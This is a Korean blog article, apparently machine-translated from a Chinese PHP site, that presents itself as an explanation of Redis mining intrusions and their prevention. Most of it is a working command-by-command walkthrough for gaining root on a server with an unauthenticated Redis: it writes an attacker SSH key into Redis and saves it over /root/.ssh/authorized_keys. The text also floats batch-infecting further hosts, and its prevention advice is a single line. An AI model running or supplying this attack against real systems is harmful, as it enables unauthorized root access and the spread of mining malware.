이 글은 Redis 마이닝의 원리에 대해 이야기하고, 이를 예방하는 방법을 알아보고, 예방 기술을 공유하는 것이 모든 사람에게 도움이 되기를 바랍니다.
저자님도 마이닝 바이러스 공격을 받았는데, 그게 굉장히 불편했지만, 사실 침입 수단을 이해한다면 예방하는 것은 매우 쉽습니다. 오늘은 이를 얻는 방법을 보여드리겠습니다. Redis 권한 상승을 통해 원격 서버의 루트 사용자. [관련 권장 사항: Redis 비디오 튜토리얼]
1. 먼저 몇 가지 전제 조건이 필요합니다
조건 1: 먼저 Redis가 있어야 하며 해당 포트를 알아야 합니다. [기본값 6379];
조건 2: Redis의 비밀번호는 너무 복잡하거나 비밀번호가 없습니다.2.1 비밀 키 쌍 만들기
root@kali:/usr/local/src# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa다음으로 공개키를 통해 공격키 값을 생성합니다.
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt내용은 다음과 같습니다
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali여기 앞뒤에 두 개의 줄바꿈을 추가하는 목적은 데이터가 서로 연결되어 오류 문제가 발생하는 것을 방지하기 위한 것입니다. 2.2 Redis에 키 구성
root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar OKRedis에 로그인하여 Redis에 기록되었는지 확인합니다.
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"2.3 Redis 저장 메커니즘을 통해 시스템 파일 교체
192.168.243.129:6379> config set dir /root/.ssh OK 192.168.243.129:6379> config get dir 1) "dir" 2) "/root/.ssh" 192.168.243.129:6379> config set dbfilename "authorized_keys" OK 192.168.243.129:6379> save OK 192.168.243.129:6379> exit이번에는 원격 호스트에 로그인하여 효과를 확인합니다.
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~# w자, 이제 권리 에스컬레이션이 성공적으로 완료되었으니 내보낸 파일이 무엇인지 살펴볼까요? 사실 그냥 Redis의 저장된 파일 형태이니 관심 있으신 분들은 직접 열어서 보시면 될 것 같습니다.
3. 예방 방법
이 취약점은 매우 강력합니다. 이제 호스트 권한이 하나만 있으므로 일부 스크립트를 실행한 다음 일괄적으로 감염시키는 것은 어떻습니까?
예방 팁은 다음과 같습니다. Redis는 위험한 IP를 수신해서는 안 됩니다. 그렇다면 방화벽 제어를 추가하세요.위 내용은 Redis 마이닝의 원리와 예방 방법에 대한 간략한 분석(기술 공유)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!